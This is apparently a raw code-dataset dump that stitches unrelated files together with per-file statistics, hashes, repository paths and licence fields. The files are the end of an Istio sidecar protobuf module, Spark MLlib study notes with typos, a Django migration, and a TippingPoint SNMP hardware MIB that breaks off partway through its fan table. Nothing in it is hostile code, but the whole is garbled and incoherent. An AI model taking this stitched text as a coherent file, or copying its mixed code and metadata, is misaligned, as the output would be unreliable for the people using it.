_OUTBOUNDTRAFFICPOLICY_MODE _OUTBOUNDTRAFFICPOLICY_MODE.containing_type = _OUTBOUNDTRAFFICPOLICY DESCRIPTOR.message_types_by_name['Sidecar'] = _SIDECAR DESCRIPTOR.message_types_by_name['IstioIngressListener'] = _ISTIOINGRESSLISTENER DESCRIPTOR.message_types_by_name['IstioEgressListener'] = _ISTIOEGRESSLISTENER DESCRIPTOR.message_types_by_name['WorkloadSelector'] = _WORKLOADSELECTOR DESCRIPTOR.message_types_by_name['OutboundTrafficPolicy'] = _OUTBOUNDTRAFFICPOLICY DESCRIPTOR.enum_types_by_name['CaptureMode'] = _CAPTUREMODE _sym_db.RegisterFileDescriptor(DESCRIPTOR) Sidecar = _reflection.GeneratedProtocolMessageType('Sidecar', (_message.Message,), { 'DESCRIPTOR' : _SIDECAR, '__module__' : 'networking.v1alpha3.sidecar_pb2' # @@protoc_insertion_point(class_scope:istio.networking.v1alpha3.Sidecar) }) _sym_db.RegisterMessage(Sidecar) IstioIngressListener = _reflection.GeneratedProtocolMessageType('IstioIngressListener', (_message.Message,), { 'DESCRIPTOR' : _ISTIOINGRESSLISTENER, '__module__' : 'networking.v1alpha3.sidecar_pb2' # @@protoc_insertion_point(class_scope:istio.networking.v1alpha3.IstioIngressListener) }) _sym_db.RegisterMessage(IstioIngressListener) IstioEgressListener = _reflection.GeneratedProtocolMessageType('IstioEgressListener', (_message.Message,), { 'DESCRIPTOR' : _ISTIOEGRESSLISTENER, '__module__' : 'networking.v1alpha3.sidecar_pb2' # @@protoc_insertion_point(class_scope:istio.networking.v1alpha3.IstioEgressListener) }) _sym_db.RegisterMessage(IstioEgressListener) WorkloadSelector = _reflection.GeneratedProtocolMessageType('WorkloadSelector', (_message.Message,), { 'LabelsEntry' : _reflection.GeneratedProtocolMessageType('LabelsEntry', (_message.Message,), { 'DESCRIPTOR' : _WORKLOADSELECTOR_LABELSENTRY, '__module__' : 'networking.v1alpha3.sidecar_pb2' # @@protoc_insertion_point(class_scope:istio.networking.v1alpha3.WorkloadSelector.LabelsEntry) }) , 'DESCRIPTOR' : _WORKLOADSELECTOR, '__module__' : 'networking.v1alpha3.sidecar_pb2' # @@protoc_insertion_point(class_scope:istio.networking.v1alpha3.WorkloadSelector) }) _sym_db.RegisterMessage(WorkloadSelector) _sym_db.RegisterMessage(WorkloadSelector.LabelsEntry) OutboundTrafficPolicy = _reflection.GeneratedProtocolMessageType('OutboundTrafficPolicy', (_message.Message,), { 'DESCRIPTOR' : _OUTBOUNDTRAFFICPOLICY, '__module__' : 'networking.v1alpha3.sidecar_pb2' # @@protoc_insertion_point(class_scope:istio.networking.v1alpha3.OutboundTrafficPolicy) }) _sym_db.RegisterMessage(OutboundTrafficPolicy) DESCRIPTOR._options = None _ISTIOINGRESSLISTENER.fields_by_name['port']._options = None _ISTIOINGRESSLISTENER.fields_by_name['default_endpoint']._options = None _ISTIOEGRESSLISTENER.fields_by_name['hosts']._options = None _WORKLOADSELECTOR_LABELSENTRY._options = None _WORKLOADSELECTOR.fields_by_name['labels']._options = None # @@protoc_insertion_point(module_scope)
42.87822
2,001
0.768584
2,196
18,309
6.114299
0.107924
0.03992
0.077083
0.044537
0.663514
0.622775
0.558427
0.534297
0.515901
0.502569
0
0.046894
0.110164
18,309
426
2,002
42.978873
0.777253
0.037905
0
0.618182
1
0.002597
0.252343
0.207067
0
0
0
0
0
1
0
false
0
0.020779
0
0.020779
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
1
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
2
c772743791662ea359fe0f4aa35aab3e97e0f510
1,126
py
Python
Intro/2.py
sriram161/spark_ml_ai
f33dafa38aa8e66c364d1accf9c9179fe6fa8b81
[ "MIT" ]
null
null
null
Intro/2.py
sriram161/spark_ml_ai
f33dafa38aa8e66c364d1accf9c9179fe6fa8b81
[ "MIT" ]
null
null
null
Intro/2.py
sriram161/spark_ml_ai
f33dafa38aa8e66c364d1accf9c9179fe6fa8b81
[ "MIT" ]
null
null
null
""" Spark mllib Algorithms -> Classification regression clustering topic modelling. etc. workflows -> feature transformations pipelines evaluations hyperparameter tuning utilities -> Distributed math libraries statistics functions """ # Normalize -> maps data from original range to range of 0 to 1 # Advantage of Normalization is large range values and small range values are brough to common range and that is 0 to 1. # Standardize -> Maps data from origninal range to range -1 to 1 # mean is 0 # normally distributed with standard deviation of 1 # Used when features have different scales and # ML algorithms assume a normal distribution. # Patitioning -> Maps data value from continuous values to buckets # Deciles and percentiles ane examples of buckets # useful when you want to work with groups of values # instead of a continuous range of values. # TEXT: TOkeniziong -> list of words. # TEXT: TF-IDF -> Maps text from a single, typically long strings to a vector of frequencies of each word relative to a text. # TF-IDF assumes infrequently used workds are more useful to classify text. ##### NORMALIZING
26.186047
125
0.773535
164
1,126
5.310976
0.585366
0.027555
0.027555
0
0
0
0
0
0
0
0
0.008639
0.17762
1,126
42
126
26.809524
0.931965
0.957371
0
null
0
null
0
0
null
0
0
0
null
1
null
true
0
0
null
null
null
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
0
0
0
0
0
2
c776321765ffa72f19c5bc065524450f5b890d65
432
py
Python
flights/migrations/0004_auto_20190831_1412.py
ChuaCheowHuan/web_app
93e62075ca56f56c31b8ad848bf0c6c5ccffee9c
[ "MIT" ]
3
2019-11-21T05:22:52.000Z
2020-07-20T06:18:57.000Z
flights/migrations/0004_auto_20190831_1412.py
ChuaCheowHuan/web_app_DPDTH
93e62075ca56f56c31b8ad848bf0c6c5ccffee9c
[ "MIT" ]
3
2020-06-05T22:53:10.000Z
2021-06-10T21:55:13.000Z
flights/migrations/0004_auto_20190831_1412.py
ChuaCheowHuan/web_app_DPTH
dd901e6359fe76f15b69701c53f76666c3219173
[ "MIT" ]
4
2020-09-22T18:01:22.000Z
2021-05-09T23:47:47.000Z
# Generated by Django 2.2.4 on 2019-08-31 14:12 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('flights', '0003_passenger'), ] operations = [ migrations.AlterField( model_name='passenger', name='flights', field=models.ManyToManyField(blank=True, related_name='passengers', to='flights.Flight'), ), ]
22.736842
101
0.615741
45
432
5.844444
0.755556
0
0
0
0
0
0
0
0
0
0
0.059561
0.261574
432
18
102
24
0.76489
0.104167
0
0
1
0
0.158442
0
0
0
0
0
0
1
0
false
0.25
0.083333
0
0.333333
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
null
0
0
0
0
0
0
0
1
0
0
0
0
0
2
c7766d5bbd2aba3ad2736ca16340c745375a6997
42,479
py
Python
pysnmp-with-texts/TPT-TPA-HARDWARE-MIB.py
agustinhenze/mibs.snmplabs.com
1fc5c07860542b89212f4c8ab807057d9a9206c7
[ "Apache-2.0" ]
8
2019-05-09T17:04:00.000Z
2021-06-09T06:50:51.000Z
pysnmp-with-texts/TPT-TPA-HARDWARE-MIB.py
agustinhenze/mibs.snmplabs.com
1fc5c07860542b89212f4c8ab807057d9a9206c7
[ "Apache-2.0" ]
4
2019-05-31T16:42:59.000Z
2020-01-31T21:57:17.000Z
pysnmp-with-texts/TPT-TPA-HARDWARE-MIB.py
agustinhenze/mibs.snmplabs.com
1fc5c07860542b89212f4c8ab807057d9a9206c7
[ "Apache-2.0" ]
10
2019-04-30T05:51:36.000Z
2022-02-16T03:33:41.000Z
# # PySNMP MIB module TPT-TPA-HARDWARE-MIB (http://snmplabs.com/pysmi) # ASN.1 source file:///Users/davwang4/Dev/mibs.snmplabs.com/asn1/TPT-TPA-HARDWARE-MIB # Produced by pysmi-0.3.4 at Wed May 1 15:26:46 2019 # On host DAVWANG4-M-1475 platform Darwin version 18.5.0 by user davwang4 # Using Python version 3.7.3 (default, Mar 27 2019, 09:23:15) # ObjectIdentifier, Integer, OctetString = mibBuilder.importSymbols("ASN1", "ObjectIdentifier", "Integer", "OctetString") NamedValues, = mibBuilder.importSymbols("ASN1-ENUMERATION", "NamedValues") ConstraintsUnion, ValueRangeConstraint, ValueSizeConstraint, ConstraintsIntersection, SingleValueConstraint = mibBuilder.importSymbols("ASN1-REFINEMENT", "ConstraintsUnion", "ValueRangeConstraint", "ValueSizeConstraint", "ConstraintsIntersection", "SingleValueConstraint") InterfaceIndex, = mibBuilder.importSymbols("IF-MIB", "InterfaceIndex") ModuleCompliance, NotificationGroup = mibBuilder.importSymbols("SNMPv2-CONF", "ModuleCompliance", "NotificationGroup") Counter32, Counter64, Gauge32, TimeTicks, MibIdentifier, ModuleIdentity, MibScalar, MibTable, MibTableRow, MibTableColumn, ObjectIdentity, Bits, IpAddress, iso, Integer32, NotificationType, Unsigned32 = mibBuilder.importSymbols("SNMPv2-SMI", "Counter32", "Counter64", "Gauge32", "TimeTicks", "MibIdentifier", "ModuleIdentity", "MibScalar", "MibTable", "MibTableRow", "MibTableColumn", "ObjectIdentity", "Bits", "IpAddress", "iso", "Integer32", "NotificationType", "Unsigned32") TextualConvention, DisplayString = mibBuilder.importSymbols("SNMPv2-TC", "TextualConvention", "DisplayString") tpt_tpa_objs, tpt_tpa_eventsV2, tpt_tpa_unkparams = mibBuilder.importSymbols("TPT-TPAMIBS-MIB", "tpt-tpa-objs", "tpt-tpa-eventsV2", "tpt-tpa-unkparams") tpt_tpa_hardware_objs = ModuleIdentity((1, 3, 6, 1, 4, 1, 10734, 3, 3, 2, 3)).setLabel("tpt-tpa-hardware-objs") tpt_tpa_hardware_objs.setRevisions(('2016-05-25 18:54',)) if getattr(mibBuilder, 'version', (0, 0, 0)) > (4, 4, 0): if mibBuilder.loadTexts: tpt_tpa_hardware_objs.setRevisionsDescriptions(('Updated copyright information. Minor MIB syntax fixes.',)) if mibBuilder.loadTexts: tpt_tpa_hardware_objs.setLastUpdated('201605251854Z') if mibBuilder.loadTexts: tpt_tpa_hardware_objs.setOrganization('Trend Micro, Inc.') if mibBuilder.loadTexts: tpt_tpa_hardware_objs.setContactInfo('www.trendmicro.com') if mibBuilder.loadTexts: tpt_tpa_hardware_objs.setDescription("Hardware definition of a TPA and its components. Copyright (C) 2016 Trend Micro Incorporated. All Rights Reserved. Trend Micro makes no warranty of any kind with regard to this material, including, but not limited to, the implied warranties of merchantability and fitness for a particular purpose. Trend Micro shall not be liable for errors contained herein or for incidental or consequential damages in connection with the furnishing, performance, or use of this material. This document contains proprietary information, which is protected by copyright. No part of this document may be photocopied, reproduced, or translated into another language without the prior written consent of Trend Micro. The information is provided 'as is' without warranty of any kind and is subject to change without notice. The only warranties for Trend Micro products and services are set forth in the express warranty statements accompanying such products and services. Nothing herein should be construed as constituting an additional warranty. Trend Micro shall not be liable for technical or editorial errors or omissions contained herein. TippingPoint(R), the TippingPoint logo, and Digital Vaccine(R) are registered trademarks of Trend Micro. All other company and product names may be trademarks of their respective holders. All rights reserved. This document contains confidential information, trade secrets or both, which are the property of Trend Micro. No part of this documentation may be reproduced in any form or by any means or used to make any derivative work (such as translation, transformation, or adaptation) without written permission from Trend Micro or one of its subsidiaries. All other company and product names may be trademarks of their respective holders. ") class ManagedElementType(TextualConvention, Integer32): description = 'Type of a managed base hardware element (slot, port, power supply, fan, etc.) on a device.' status = 'current' subtypeSpec = Integer32.subtypeSpec + ConstraintsUnion(SingleValueConstraint(0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24)) namedValues = NamedValues(("unequip", 0), ("chassis", 1), ("backplane", 2), ("controller", 3), ("network-interface", 4), ("network-interface-bcomm", 5), ("network-processor", 6), ("feature-card", 7), ("gige-port", 8), ("ten-base-t-port", 9), ("hundred-base-t-port", 10), ("sonet-atm-port", 11), ("sonet-pos-port", 12), ("sonet-pos-srp-port", 13), ("sdh-atm-port", 14), ("sdh-pos-port", 15), ("sdh-pos-srp-port", 16), ("power-supply", 17), ("power-supply-sub-unit", 18), ("fan-controller", 19), ("fan-sub-unit", 20), ("power-entry-module", 21), ("vnam-port", 22), ("ten-gige-port", 23), ("forty-gige-port", 24)) class ConfigRedundancy(TextualConvention, Integer32): description = 'An indication of whether a hardware slot is empty, stand-alone, or part of a redundant pair.' status = 'current' subtypeSpec = Integer32.subtypeSpec + ConstraintsUnion(SingleValueConstraint(0, 1, 2, 3, 4)) namedValues = NamedValues(("unconfigured", 0), ("simplex", 1), ("duplex", 2), ("loadshare", 3), ("autonomous", 4)) class HardwareState(TextualConvention, Integer32): description = 'The high-level hardware state (active, initializing, standby, etc.).' status = 'current' subtypeSpec = Integer32.subtypeSpec + ConstraintsUnion(SingleValueConstraint(0, 1, 2, 3, 4, 5, 6, 7, 8, 9)) namedValues = NamedValues(("oos", 0), ("initialize", 1), ("act", 2), ("stby", 3), ("dgn", 4), ("lpbk", 5), ("act-faf", 6), ("stby-faf", 7), ("act-dgrd", 8), ("stby-dgrd", 9)) class HardwareStateQual(TextualConvention, Integer32): description = 'Further qualification/detail on the high-level hardware state.' status = 'current' subtypeSpec = Integer32.subtypeSpec + ConstraintsUnion(SingleValueConstraint(0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29)) namedValues = NamedValues(("port-clear", 0), ("degraded", 1), ("port-los", 2), ("port-lof", 3), ("port-oof", 4), ("port-lop", 5), ("port-signal-degrade", 6), ("port-signal-failure", 7), ("port-ais-p", 8), ("port-ais-l", 9), ("port-rdi", 10), ("port-forced", 11), ("port-lockout", 12), ("yellow-alarm", 13), ("red-alarm", 14), ("parity-err", 15), ("crc-err", 16), ("unequipped-slot", 17), ("blade-pull", 18), ("blade-insert", 19), ("blade-slot-mismatch", 20), ("init-failure", 21), ("parent-oos", 22), ("removed", 23), ("no-info", 24), ("over-temp-alarm", 25), ("under-temp-alarm", 26), ("port-ool", 27), ("port-ool-clear", 28), ("inhibit", 29)) class ExtendedSlot(TextualConvention, Integer32): description = 'An identifier of either a slot or a hardware component. Slot numbers, slot11 to slot14 are valid on NX device, and refer to slot1 to slot4 on that device.' status = 'current' subtypeSpec = Integer32.subtypeSpec + ConstraintsUnion(SingleValueConstraint(1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16)) namedValues = NamedValues(("slot1", 1), ("slot2", 2), ("slot3", 3), ("slot4", 4), ("slot5", 5), ("slot6", 6), ("slot7", 7), ("slot8", 8), ("shelf", 9), ("pem", 10), ("power-supply", 11), ("fan", 12), ("slot11", 13), ("slot12", 14), ("slot13", 15), ("slot14", 16)) class LineType(TextualConvention, Integer32): description = 'An indication of whether a port is copper or optical.' status = 'current' subtypeSpec = Integer32.subtypeSpec + ConstraintsUnion(SingleValueConstraint(0, 21, 22, 23)) namedValues = NamedValues(("undefined", 0), ("copper", 21), ("optical", 22), ("copper-sfp", 23)) class DuplexState(TextualConvention, Integer32): description = 'An indication of whether a port is running in full or half duplex mode.' status = 'current' subtypeSpec = Integer32.subtypeSpec + ConstraintsUnion(SingleValueConstraint(0, 1, 2)) namedValues = NamedValues(("unknown", 0), ("half", 1), ("full", 2)) class SfpQualifier(TextualConvention, Integer32): description = 'SFP qualifier value. These combines both the compliance codes for the 1G SFP and 10G SFP+, and transmitter technology for the 40G QSFP+ and 10G XFP transceivers.' status = 'current' subtypeSpec = Integer32.subtypeSpec + ConstraintsUnion(SingleValueConstraint(0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29)) namedValues = NamedValues(("sfp-not-applicable", 0), ("sfp-10g-base-er", 1), ("sfp-10g-base-lrm", 2), ("sfp-10g-base-lr", 3), ("sfp-10g-base-sr", 4), ("sfp-base-px", 5), ("sfp-base-bx10", 6), ("sfp-100base-fx", 7), ("sfp-100base-lx-lx10", 8), ("sfp-1000base-t", 9), ("sfp-1000base-cx", 10), ("sfp-1000base-lx", 11), ("sfp-1000base-sx", 12), ("sfp-850-nm-vcsel", 13), ("sfp-1310-nm-vcsel", 14), ("sfp-1550-nm-vcsel", 15), ("sfp-1310-nm-fp", 16), ("sfp-1310-nm-dfb", 17), ("sfp-1550-nm-dfb", 18), ("sfp-1310-nm-eml", 19), ("sfp-1550-nm-eml", 20), ("sfp-copper-or-others", 21), ("sfp-1490-nm-dfb", 22), ("sfp-copper-cable-unequalized", 23), ("sfp-absent", 24), ("sfp-plus-absent", 25), ("qsfp-plus-absent", 26), ("sfp-xfp-absent", 27), ("sfp-10g-dac", 28), ("sfp-10g-dao", 29)) hw_slotTable = MibTable((1, 3, 6, 1, 4, 1, 10734, 3, 3, 2, 3, 1), ).setLabel("hw-slotTable") if mibBuilder.loadTexts: hw_slotTable.setStatus('current') if mibBuilder.loadTexts: hw_slotTable.setDescription('Table of slots/ports on the device.') hw_slotEntry = MibTableRow((1, 3, 6, 1, 4, 1, 10734, 3, 3, 2, 3, 1, 1), ).setLabel("hw-slotEntry").setIndexNames((0, "TPT-TPA-HARDWARE-MIB", "slotNumber"), (0, "TPT-TPA-HARDWARE-MIB", "slotPort")) if mibBuilder.loadTexts: hw_slotEntry.setStatus('current') if mibBuilder.loadTexts: hw_slotEntry.setDescription('An entry in the slot/port table. Rows cannot be created or deleted.') slotNumber = MibTableColumn((1, 3, 6, 1, 4, 1, 10734, 3, 3, 2, 3, 1, 1, 1), Unsigned32()).setMaxAccess("readonly") if mibBuilder.loadTexts: slotNumber.setStatus('current') if mibBuilder.loadTexts: slotNumber.setDescription('Slot number for this hardware element.') slotPort = MibTableColumn((1, 3, 6, 1, 4, 1, 10734, 3, 3, 2, 3, 1, 1, 2), Unsigned32()).setMaxAccess("readonly") if mibBuilder.loadTexts: slotPort.setStatus('current') if mibBuilder.loadTexts: slotPort.setDescription('Port number for this hardware element (0 refers to the board).') slotType = MibTableColumn((1, 3, 6, 1, 4, 1, 10734, 3, 3, 2, 3, 1, 1, 3), ManagedElementType()).setMaxAccess("readonly") if mibBuilder.loadTexts: slotType.setStatus('current') if mibBuilder.loadTexts: slotType.setDescription('Type of hardware element corresponding to slot/port.') slotCfgType = MibTableColumn((1, 3, 6, 1, 4, 1, 10734, 3, 3, 2, 3, 1, 1, 4), ConfigRedundancy()).setMaxAccess("readonly") if mibBuilder.loadTexts: slotCfgType.setStatus('current') if mibBuilder.loadTexts: slotCfgType.setDescription('The configuration/redundancy of a hardware element.') slotRunState = MibTableColumn((1, 3, 6, 1, 4, 1, 10734, 3, 3, 2, 3, 1, 1, 5), HardwareState()).setMaxAccess("readonly") if mibBuilder.loadTexts: slotRunState.setStatus('current') if mibBuilder.loadTexts: slotRunState.setDescription('The high-level hardware state (active, initializing, standby, etc.).') slotQualifier1 = MibTableColumn((1, 3, 6, 1, 4, 1, 10734, 3, 3, 2, 3, 1, 1, 6), HardwareStateQual()).setMaxAccess("readonly") if mibBuilder.loadTexts: slotQualifier1.setStatus('current') if mibBuilder.loadTexts: slotQualifier1.setDescription('Further qualification/detail on the high-level hardware state.') slotQualifier2 = MibTableColumn((1, 3, 6, 1, 4, 1, 10734, 3, 3, 2, 3, 1, 1, 7), HardwareStateQual()).setMaxAccess("readonly") if mibBuilder.loadTexts: slotQualifier2.setStatus('current') if mibBuilder.loadTexts: slotQualifier2.setDescription('Further qualification/detail on the high-level hardware state.') slotQualifier3 = MibTableColumn((1, 3, 6, 1, 4, 1, 10734, 3, 3, 2, 3, 1, 1, 8), HardwareStateQual()).setMaxAccess("readonly") if mibBuilder.loadTexts: slotQualifier3.setStatus('current') if mibBuilder.loadTexts: slotQualifier3.setDescription('Further qualification/detail on the high-level hardware state.') slotQualifier4 = MibTableColumn((1, 3, 6, 1, 4, 1, 10734, 3, 3, 2, 3, 1, 1, 9), HardwareStateQual()).setMaxAccess("readonly") if mibBuilder.loadTexts: slotQualifier4.setStatus('current') if mibBuilder.loadTexts: slotQualifier4.setDescription('Further qualification/detail on the high-level hardware state.') slotStartTime = MibTableColumn((1, 3, 6, 1, 4, 1, 10734, 3, 3, 2, 3, 1, 1, 10), Unsigned32()).setMaxAccess("readonly") if mibBuilder.loadTexts: slotStartTime.setStatus('current') if mibBuilder.loadTexts: slotStartTime.setDescription('The time (seconds) at which this hardware element was powered up.') slotVendorID = MibTableColumn((1, 3, 6, 1, 4, 1, 10734, 3, 3, 2, 3, 1, 1, 11), Unsigned32()).setMaxAccess("readonly") if mibBuilder.loadTexts: slotVendorID.setStatus('current') if mibBuilder.loadTexts: slotVendorID.setDescription('The identifying number of the vendor of this hardware.') slotDeviceID = MibTableColumn((1, 3, 6, 1, 4, 1, 10734, 3, 3, 2, 3, 1, 1, 12), Unsigned32()).setMaxAccess("readonly") if mibBuilder.loadTexts: slotDeviceID.setStatus('current') if mibBuilder.loadTexts: slotDeviceID.setDescription('The PCI bus device ID for this slot.') slotProductID = MibTableColumn((1, 3, 6, 1, 4, 1, 10734, 3, 3, 2, 3, 1, 1, 13), OctetString().subtype(subtypeSpec=ValueSizeConstraint(0, 32))).setMaxAccess("readonly") if mibBuilder.loadTexts: slotProductID.setStatus('current') if mibBuilder.loadTexts: slotProductID.setDescription('Versioning and other inventory information for this hardware element.') slotFPGAVersion = MibTableColumn((1, 3, 6, 1, 4, 1, 10734, 3, 3, 2, 3, 1, 1, 14), Unsigned32()).setMaxAccess("readonly") if mibBuilder.loadTexts: slotFPGAVersion.setStatus('current') if mibBuilder.loadTexts: slotFPGAVersion.setDescription('The version of the TPT FPGA chip on this hardware.') slotInterface = MibTableColumn((1, 3, 6, 1, 4, 1, 10734, 3, 3, 2, 3, 1, 1, 15), InterfaceIndex()).setMaxAccess("readonly") if mibBuilder.loadTexts: slotInterface.setStatus('current') if mibBuilder.loadTexts: slotInterface.setDescription('The entry in the IF-MIB interface table that corresponds to this port.') slotLineType = MibTableColumn((1, 3, 6, 1, 4, 1, 10734, 3, 3, 2, 3, 1, 1, 16), LineType()).setMaxAccess("readonly") if mibBuilder.loadTexts: slotLineType.setStatus('current') if mibBuilder.loadTexts: slotLineType.setDescription('The line type (e.g., copper or optical) of the port.') slotDuplexState = MibTableColumn((1, 3, 6, 1, 4, 1, 10734, 3, 3, 2, 3, 1, 1, 17), DuplexState()).setMaxAccess("readonly") if mibBuilder.loadTexts: slotDuplexState.setStatus('current') if mibBuilder.loadTexts: slotDuplexState.setDescription('The current duplex state (full or half) of the port.') slotPhysical = MibTableColumn((1, 3, 6, 1, 4, 1, 10734, 3, 3, 2, 3, 1, 1, 18), Unsigned32()).setMaxAccess("readonly") if mibBuilder.loadTexts: slotPhysical.setStatus('current') if mibBuilder.loadTexts: slotPhysical.setDescription('Physical port number for this hardware element (0 if not a port).') slotSfpQualifier1 = MibTableColumn((1, 3, 6, 1, 4, 1, 10734, 3, 3, 2, 3, 1, 1, 19), SfpQualifier()).setMaxAccess("readonly") if mibBuilder.loadTexts: slotSfpQualifier1.setStatus('current') if mibBuilder.loadTexts: slotSfpQualifier1.setDescription('Type of the SFP transceiver') slotSfpQualifier2 = MibTableColumn((1, 3, 6, 1, 4, 1, 10734, 3, 3, 2, 3, 1, 1, 20), SfpQualifier()).setMaxAccess("readonly") if mibBuilder.loadTexts: slotSfpQualifier2.setStatus('current') if mibBuilder.loadTexts: slotSfpQualifier2.setDescription('Type of the SFP transceiver. This is applicable to the dual speed transceivers, and this variable will have value of the second speed supported by those transceivers. For single-speed transceivers, the value will be not applicable.') hw_chasTable = MibTable((1, 3, 6, 1, 4, 1, 10734, 3, 3, 2, 3, 2), ).setLabel("hw-chasTable") if mibBuilder.loadTexts: hw_chasTable.setStatus('current') if mibBuilder.loadTexts: hw_chasTable.setDescription('Table of chassis data for the device. Represented as a table with one row, and that row is the same as that for other managed elements.') hw_chasEntry = MibTableRow((1, 3, 6, 1, 4, 1, 10734, 3, 3, 2, 3, 2, 1), ).setLabel("hw-chasEntry").setIndexNames((0, "TPT-TPA-HARDWARE-MIB", "chasNumber")) if mibBuilder.loadTexts: hw_chasEntry.setStatus('current') if mibBuilder.loadTexts: hw_chasEntry.setDescription('An entry in the chassis table. Rows cannot be created or deleted.') chasNumber = MibTableColumn((1, 3, 6, 1, 4, 1, 10734, 3, 3, 2, 3, 2, 1, 1), Unsigned32()).setMaxAccess("readonly") if mibBuilder.loadTexts: chasNumber.setStatus('current') if mibBuilder.loadTexts: chasNumber.setDescription('Number for this entry in the chassis table. Should always be 0.') chasType = MibTableColumn((1, 3, 6, 1, 4, 1, 10734, 3, 3, 2, 3, 2, 1, 3), ManagedElementType()).setMaxAccess("readonly") if mibBuilder.loadTexts: chasType.setStatus('current') if mibBuilder.loadTexts: chasType.setDescription('Type of hardware element -- should always be chassis or unequip.') chasCfgType = MibTableColumn((1, 3, 6, 1, 4, 1, 10734, 3, 3, 2, 3, 2, 1, 4), ConfigRedundancy()).setMaxAccess("readonly") if mibBuilder.loadTexts: chasCfgType.setStatus('current') if mibBuilder.loadTexts: chasCfgType.setDescription('The configuration/redundancy of a hardware element.') chasRunState = MibTableColumn((1, 3, 6, 1, 4, 1, 10734, 3, 3, 2, 3, 2, 1, 5), HardwareState()).setMaxAccess("readonly") if mibBuilder.loadTexts: chasRunState.setStatus('current') if mibBuilder.loadTexts: chasRunState.setDescription('The high-level hardware state (active, initializing, standby, etc.).') chasQualifier1 = MibTableColumn((1, 3, 6, 1, 4, 1, 10734, 3, 3, 2, 3, 2, 1, 6), HardwareStateQual()).setMaxAccess("readonly") if mibBuilder.loadTexts: chasQualifier1.setStatus('current') if mibBuilder.loadTexts: chasQualifier1.setDescription('Further qualification/detail on the high-level hardware state.') chasQualifier2 = MibTableColumn((1, 3, 6, 1, 4, 1, 10734, 3, 3, 2, 3, 2, 1, 7), HardwareStateQual()).setMaxAccess("readonly") if mibBuilder.loadTexts: chasQualifier2.setStatus('current') if mibBuilder.loadTexts: chasQualifier2.setDescription('Further qualification/detail on the high-level hardware state.') chasQualifier3 = MibTableColumn((1, 3, 6, 1, 4, 1, 10734, 3, 3, 2, 3, 2, 1, 8), HardwareStateQual()).setMaxAccess("readonly") if mibBuilder.loadTexts: chasQualifier3.setStatus('current') if mibBuilder.loadTexts: chasQualifier3.setDescription('Further qualification/detail on the high-level hardware state.') chasQualifier4 = MibTableColumn((1, 3, 6, 1, 4, 1, 10734, 3, 3, 2, 3, 2, 1, 9), HardwareStateQual()).setMaxAccess("readonly") if mibBuilder.loadTexts: chasQualifier4.setStatus('current') if mibBuilder.loadTexts: chasQualifier4.setDescription('Further qualification/detail on the high-level hardware state.') chasStartTime = MibTableColumn((1, 3, 6, 1, 4, 1, 10734, 3, 3, 2, 3, 2, 1, 10), Unsigned32()).setMaxAccess("readonly") if mibBuilder.loadTexts: chasStartTime.setStatus('current') if mibBuilder.loadTexts: chasStartTime.setDescription('The time (seconds) at which the hardware element was powered up.') chasVendorID = MibTableColumn((1, 3, 6, 1, 4, 1, 10734, 3, 3, 2, 3, 2, 1, 11), Unsigned32()).setMaxAccess("readonly") if mibBuilder.loadTexts: chasVendorID.setStatus('current') if mibBuilder.loadTexts: chasVendorID.setDescription('The identifying number of the vendor of this hardware.') chasDeviceID = MibTableColumn((1, 3, 6, 1, 4, 1, 10734, 3, 3, 2, 3, 2, 1, 12), Unsigned32()).setMaxAccess("readonly") if mibBuilder.loadTexts: chasDeviceID.setStatus('current') if mibBuilder.loadTexts: chasDeviceID.setDescription('An identifying number specific to this device.') chasProductID = MibTableColumn((1, 3, 6, 1, 4, 1, 10734, 3, 3, 2, 3, 2, 1, 13), OctetString().subtype(subtypeSpec=ValueSizeConstraint(0, 32))).setMaxAccess("readonly") if mibBuilder.loadTexts: chasProductID.setStatus('current') if mibBuilder.loadTexts: chasProductID.setDescription('Versioning and other inventory information for this hardware element.') chasFPGAVersion = MibTableColumn((1, 3, 6, 1, 4, 1, 10734, 3, 3, 2, 3, 2, 1, 14), Unsigned32()).setMaxAccess("readonly") if mibBuilder.loadTexts: chasFPGAVersion.setStatus('current') if mibBuilder.loadTexts: chasFPGAVersion.setDescription('The version of the TPT FPGA chip on this hardware.') hw_fanTable = MibTable((1, 3, 6, 1, 4, 1, 10734, 3, 3, 2, 3, 3), ).setLabel("hw-fanTable") if mibBuilder.loadTexts: hw_fanTable.setStatus('current') if mibBuilder.loadTexts: hw_fanTable.setDescription('Table of fans on the device.') hw_fanEntry = MibTableRow((1, 3, 6, 1, 4, 1, 10734, 3, 3, 2, 3, 3, 1), ).setLabel("hw-fanEntry").setIndexNames((0, "TPT-TPA-HARDWARE-MIB", "fanSubunit")) if mibBuilder.loadTexts: hw_fanEntry.setStatus('current') if mibBuilder.loadTexts: hw_fanEntry.setDescription('An entry in the fan table. Rows cannot be created or deleted.') fanSubunit = MibTableColumn((1, 3, 6, 1, 4, 1, 10734, 3, 3, 2, 3, 3, 1, 1), Unsigned32()).setMaxAccess("readonly") if mibBuilder.loadTexts: fanSubunit.setStatus('current') if mibBuilder.loadTexts: fanSubunit.setDescription('Number of fan sub-unit (0 for controller).') fanType = MibTableColumn((1, 3, 6, 1, 4, 1, 10734, 3, 3, 2, 3, 3, 1, 3), ManagedElementType()).setMaxAccess("readonly") if mibBuilder.loadTexts: fanType.setStatus('current') if mibBuilder.loadTexts: fanType.setDescription('Type of hardware element -- should always be fan or unequip.') fanCfgType = MibTableColumn((1, 3, 6, 1, 4, 1, 10734, 3, 3, 2, 3, 3, 1, 4), ConfigRedundancy()).setMaxAccess("readonly") if mibBuilder.loadTexts: fanCfgType.setStatus('current') if mibBuilder.loadTexts: fanCfgType.setDescription('The configuration/redundancy of a hardware element.') 